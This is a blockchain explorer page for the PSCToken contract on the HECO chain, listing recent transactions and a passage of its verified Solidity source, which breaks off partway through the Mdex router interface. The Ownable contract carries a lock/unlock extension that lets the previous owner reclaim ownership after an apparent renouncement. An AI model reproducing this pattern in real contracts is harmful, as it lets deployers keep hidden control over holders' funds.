Contract 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9

Contract Overview

Balance:
18.880907979083724064 HT

HT Value:
$263.20 (@ $13.94/HT)

Token:
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x0cfd82b9f8ee94a14bb4b02f5f9b7be32aef5021791fbf78994301e2274db171Transfer83911222021-09-19 16:00:019 hrs 30 mins ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198459
0xb6521779306de42bce2b84be7f3a3d992023a1856c1517335daaae9162055a90Transfer83900552021-09-19 15:06:4010 hrs 24 mins ago0x94f957430a3bebc1d8444ee32b2d0f768ec06acf IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x1d61a8b532756cd5dd38df63590c536273e7392c78e3c07a9f03c037d0aa69eeTransfer83898672021-09-19 14:57:1610 hrs 33 mins ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0xdd1e276e8330886387d24a91e5a9c7500863fcd71efea74c26bf7ac7040c67ebTransfer83898542021-09-19 14:56:3710 hrs 34 mins ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x5363a27c3fe1121ebf7663a057b179316f53a41cff326ac7615256cb556f7d38Approve83882332021-09-19 13:35:3411 hrs 55 mins ago0x9eb645b80c2eccc254f38aa1c988801b3a50e1bd IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.0001002285
0xcaa189dfbf7118f6e4e37ae92d57b9ea9a83619d2c5800d30363e18ba43dab37Transfer83757432021-09-19 3:11:0322 hrs 19 mins ago0x4d4327e8bc9edc2fa5af8837f6ffe5afc7a78255 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198486
0x8edcd83bafa9805dc73f60f12ae6e0aaadaa715d7be8472d58aaee836626cab2Transfer83628762021-09-18 16:27:401 day 9 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x3bd3e04e85f7d6f39c161c389ea50e79b6c403c7cbb91fbce53edb11dc5951f3Transfer83628312021-09-18 16:25:251 day 9 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x378a351743b4e561a94fb2577222a85cdfc40d1fc5a487a13f37712350b80e97Transfer83628202021-09-18 16:24:521 day 9 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0xa659b8d35296067e61be18511629cf16a6518a919266c34b3c9bd3f374cec40eTransfer83628052021-09-18 16:24:071 day 9 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0xf90535f2190e8b8b8a03691f709f8524f53eeab21f4f4e2713dcf8b0d08391edTransfer83627912021-09-18 16:23:251 day 9 hrs ago0x76b9c9f988589b0bc3fd3a22d9fcaee7e0d22e89 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x541ce386de95559e2b8dd02c913a9429d52669fa339024680918aba1add03638Transfer83627792021-09-18 16:22:491 day 9 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232182
0x02d7cccb535741960d90c468f094836cb122d7e27190514d8b5f07d8a5fd1bb0Transfer83624922021-09-18 16:08:281 day 9 hrs ago0xa7d033f5affb60e98a8eed68be23eada92b8fae1 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232263
0x088dfd3ffdf6d2f700742f6634bfc5eed7cda43387fcfacce22e756f71dd9551Transfer83616372021-09-18 15:25:421 day 10 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198459
0xfbecc18193c93a184874112578ee56054a26dedf94f70317633785e0278b0e7eTransfer83613682021-09-18 15:12:151 day 10 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232209
0x14c892e455113a9c271d6a61050f24ba989e13a03c532c33bd286e39faa0ea55Transfer83610722021-09-18 14:57:271 day 10 hrs ago0xaefc5fd18f52b40dbd00f96fdd01cc1aabcdab24 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232209
0x3a547429547c11aa397de4887ed8cfa0b331fb2c4f8949cf162c950f70039669Transfer83607672021-09-18 14:42:121 day 10 hrs ago0x7f53b32921759ccf09cb7ab2c503e0b9b4523068 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000232209
0xd308bd69386c17ec17dee621781021e29d554130f4c6ba6e47fa322ecf3cce94Transfer83530822021-09-18 8:17:511 day 17 hrs ago0xcd5c62db4c374b2d51a21e5c1940cd5028cb1ca4 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198459
0x95488cc6bae976d03e4276f4c40e38e7edb328afa5d2b26e68704074acd97b88Transfer83519502021-09-18 7:21:151 day 18 hrs ago0xcd5c62db4c374b2d51a21e5c1940cd5028cb1ca4 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198459
0x2af4e0126866657dd27e7f25955374e8da383cb57661c09608f2e777587b7ddcApprove83518782021-09-18 7:17:391 day 18 hrs ago0x403f3289f2fe6fce10585710a6a743991eccdf76 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.00029546
0x4c3cd2362b5d33da734fc3a5f632b08372b1c0233617d2ac9be000fc5b83d97dApprove83495402021-09-18 5:20:451 day 20 hrs ago0xae5e07407690e4a078872e07547c57944eecadea IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.0001002285
0x99b488c0b62b800b09185eecb9c9d3c6eb0a0ecbc5181f46f94dd6ee1fada501Transfer83484052021-09-18 4:24:001 day 21 hrs ago0x4d4327e8bc9edc2fa5af8837f6ffe5afc7a78255 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.000198459
0x69323ddd2592040c0444c91e6ca3fffb2171eee30c4f3c3a84f5c52c38349fb7Approve83473882021-09-18 3:33:091 day 21 hrs ago0xebd3f5def5ba2387c5d5017403c92a49dab88405 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.0001002285
0x4d6baa83a71afbe10c8f79cb2394690c4a4b541e12b00f1fbc215ddbd1dc3827Approve83472372021-09-18 3:25:361 day 22 hrs ago0xcc928ac38b7a596315d114392e3934105606823f IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.0001002285
0xbfdd7c9ffbf9ce64a30798631dc076cd1d2f258c7acc8c35aad3047a9a449243Approve83309742021-09-17 13:52:262 days 11 hrs ago0x8f7d1ef5ead869b042bfb8c12bbe6037a7ae15b5 IN  0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90 HT0.0001002285
[ Download CSV Export 
Latest 25 internal transaction
Parent Txn Hash Block From To Value
0xdd726abae20331fdb3643e44c73f308c784be10558e8bbcf2bba20c63e63dc5683892492021-09-19 14:26:2211 hrs 4 mins ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router10.263255083164868235 HT
0xdd726abae20331fdb3643e44c73f308c784be10558e8bbcf2bba20c63e63dc5683892492021-09-19 14:26:2211 hrs 4 mins ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd910.263255083164868235 HT
0x9055d05ec82993aec12a5b906638111d03938737ba47d627f99ca3207ce2fe6d83251892021-09-17 9:03:092 days 16 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router10.020053136500234001 HT
0x9055d05ec82993aec12a5b906638111d03938737ba47d627f99ca3207ce2fe6d83251892021-09-17 9:03:092 days 16 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd910.020053136500234001 HT
0xd03026af9dad7f982854bb4002de7d372dec6eeea356efe9cd0ebe4485332f6982805172021-09-15 19:49:294 days 5 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90.000287196457248017 HT
0xd03026af9dad7f982854bb4002de7d372dec6eeea356efe9cd0ebe4485332f6982805172021-09-15 19:49:294 days 5 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router10.425270237342864948 HT
0xd03026af9dad7f982854bb4002de7d372dec6eeea356efe9cd0ebe4485332f6982805172021-09-15 19:49:294 days 5 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd910.425270237342864948 HT
0x9d34637e1177dbe30e002c7b14b725f45aa04738e479d231005d5549349fb04782686902021-09-15 9:58:084 days 15 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90.000709673391498749 HT
0x9d34637e1177dbe30e002c7b14b725f45aa04738e479d231005d5549349fb04782686902021-09-15 9:58:084 days 15 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router10.507923810528995204 HT
0x9d34637e1177dbe30e002c7b14b725f45aa04738e479d231005d5549349fb04782686902021-09-15 9:58:084 days 15 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd910.507923810528995204 HT
0xb8e0e413160c79d7369f6181dff9294d5cccafae8c08490869efdb2f8340a32f82408372021-09-14 10:45:235 days 14 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router9.626557613930793002 HT
0xb8e0e413160c79d7369f6181dff9294d5cccafae8c08490869efdb2f8340a32f82408372021-09-14 10:45:235 days 14 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd99.626557613930793002 HT
0xbf8f8b1544124b1fb57e919099268f7f092cdbaa00f3351d14ef2253ec04465182243822021-09-13 21:02:386 days 4 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90.001832839566301706 HT
0xbf8f8b1544124b1fb57e919099268f7f092cdbaa00f3351d14ef2253ec04465182243822021-09-13 21:02:386 days 4 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router11.078240522267086142 HT
0xbf8f8b1544124b1fb57e919099268f7f092cdbaa00f3351d14ef2253ec04465182243822021-09-13 21:02:386 days 4 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd911.078240522267086142 HT
0xb729adec5d5b0677d6357d33c3d06f43fe898779971fcaf0bc9b155960dd17d981462492021-09-11 3:55:528 days 21 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90.002843352191333892 HT
0xb729adec5d5b0677d6357d33c3d06f43fe898779971fcaf0bc9b155960dd17d981462492021-09-11 3:55:528 days 21 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router11.913020393315949797 HT
0xb729adec5d5b0677d6357d33c3d06f43fe898779971fcaf0bc9b155960dd17d981462492021-09-11 3:55:528 days 21 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd911.913020393315949797 HT
0xcb5112982d74225bab8552b15822b30bf1081dd0fe38b708815c3eac508fee6180871062021-09-09 2:38:4310 days 22 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd90.003383830086517743 HT
0xcb5112982d74225bab8552b15822b30bf1081dd0fe38b708815c3eac508fee6180871062021-09-09 2:38:4310 days 22 hrs ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router12.074983524561129905 HT
0xcb5112982d74225bab8552b15822b30bf1081dd0fe38b708815c3eac508fee6180871062021-09-09 2:38:4310 days 22 hrs ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd912.074983524561129905 HT
0x09b056fe7a5b543d9c4ef394b99193439739d46284b6d4c7953ce64c18c7937a80856312021-09-09 1:24:5811 days 5 mins ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd97.680793181624840904 HT
0x09b056fe7a5b543d9c4ef394b99193439739d46284b6d4c7953ce64c18c7937a80856312021-09-09 1:24:5811 days 5 mins ago 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd9 Mdex: Router19.713192208644683084 HT
0x09b056fe7a5b543d9c4ef394b99193439739d46284b6d4c7953ce64c18c7937a80856312021-09-09 1:24:5811 days 5 mins ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd919.713192208644683084 HT
0xbe027bcf1deb7f878207530477d661b68241fa504f1ab5fbf234281e00ebe26d80852372021-09-09 1:05:1611 days 25 mins ago Mdex: Router 0xc253f13822bc7a4fb73fb6f84e64a2dd379f5fd97.680793181624840904 HT
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PSCToken

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at hecoinfo.com on 2021-08-04
*/

/**
 *Submitted for verification at hecoinfo.com on 2021-08-03
*/

/**
 *Submitted for verification at hecoinfo.com on 2021-08-03
*/

/**
 *Submitted for verification at hecoinfo.com on 2021-08-03
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function geUnlockTime() public view returns (uint256) {
        return _lockTime;
    }

    //Locks the contract for owner for the amount of time provided
    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = now + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    //Unlocks the contract for owner when _lockTime is exceeds
    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(now > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

// pragma solidity >=0.5.0;

interface IMdexFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function feeToRate() external view returns (uint256);

    function initCodeHash() external view returns (bytes32);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;

    function setFeeToRate(uint256) external;

    function setInitCodeHash(bytes32) external;

    function sortTokens(address tokenA, address tokenB) external pure returns (address token0, address token1);

    function pairFor(address tokenA, address tokenB) external view returns (address pair);

    function getReserves(address tokenA, address tokenB) external view returns (uint256 reserveA, uint256 reserveB);

    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);

    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external view returns (uint256 amountOut);

    function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) external view returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IMdexPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;

    function skim(address to) external;

    function sync() external;

    function price(address token, uint256 baseDecimal) external view returns (uint256);

    function initialize(address, address) external;
}

interface IMdexRouter {
    function factory() external pure returns (address);

    function WHT() external pure returns (address);

    function swapMining() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
